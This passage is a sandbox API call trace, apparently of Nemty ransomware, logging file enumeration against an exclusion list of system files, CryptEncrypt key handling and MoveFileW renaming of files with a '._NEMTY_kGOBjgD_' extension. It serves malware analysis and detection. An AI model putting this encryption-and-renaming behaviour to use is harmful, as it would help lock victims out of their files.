nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401c8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0141.579] CloseHandle (hObject=0xffffffff) returned 0 [0141.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0141.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0141.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0141.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0141.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0141.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0141.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63404a8 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png._nemty_kgobjgd_")) returned 0 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0141.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.580] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bcadb7, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bcadb7, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3bc9a9d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8f, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="shuffle_down.png", cAlternateFileName="")) returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2=".") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="..") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="...") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="windows") returned -1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="$RECYCLE.BIN") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="rsa") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="NTDETECT.COM") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="ntldr") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="MSDOS.SYS") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="IO.SYS") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="boot.ini") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="boot.ini") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="ntuser.dat") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="desktop.ini") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="CONFIG.SYS") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="RECYCLER") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="BOOTSECT.BAK") returned 1 [0141.580] lstrcmpiW (lpString1="shuffle_down.png", lpString2="bootmgr") returned 1 [0141.581] lstrcmpiW (lpString1="shuffle_down.png", lpString2="programdata") returned 1 [0141.581] lstrcmpiW (lpString1="shuffle_down.png", lpString2="appdata") returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_down.png", lpUsedDefaultChar=0x0) returned 16 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_down.png", lpUsedDefaultChar=0x0) returned 16 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_down.png", lpUsedDefaultChar=0x0) returned 16 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0141.581] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="shuffle_down.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shuffle_down.png", lpUsedDefaultChar=0x0) returned 16 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0141.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0141.581] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0141.581] Sleep (dwMilliseconds=0x5) [0141.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x8098430, dwHighDateTime=0x1d561e8)) [0141.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x8098430, dwHighDateTime=0x1d561e8)) [0141.583] GetLastError () returned 0x5 [0141.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0141.583] GetLastError () returned 0x5 [0141.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0141.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0141.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0141.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0141.584] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0141.584] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0141.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0141.584] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="nn2HR11bOS5oOP/u4D+fVpYh9jVOR5etB11J8l21xZjaOaeQIIuPU/sxyoSKLqp4\r\nTVqBEBDw5gsiPwqXkitIuClPlhotWGkjmCl8tmAZOQx5zw0/g+njVE8Hz9ekQsRM\r\ncGtXw9P4HOblcy5MMlC44aCurqwiaVNVHqJPpbm3//tQd5k5NHUrwGQwWyXQTCQf\r\nnLi/4fHrAg65YXJgP4v6ZINcu1MUo/Ym7CK2XHx7yhDb3iHeD9p98+rfOvVEo28O\r\nEKaiH1gjW+Kkc5ngj7P+qtrnMz38lEw7ngzwU0tPJ5oXJbMTQPqfKVOyFyzN+jxn\r\nGrLSJe/Q90bVh28DcyJHag==\r\n", pcchString=0x653e91c) returned 1 [0141.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0141.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0141.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0141.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0141.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0141.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0141.584] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0141.585] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0141.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0141.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.613] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.632] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.651] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.669] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.669] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.678] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.678] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.678] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0141.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0141.690] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0141.690] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, 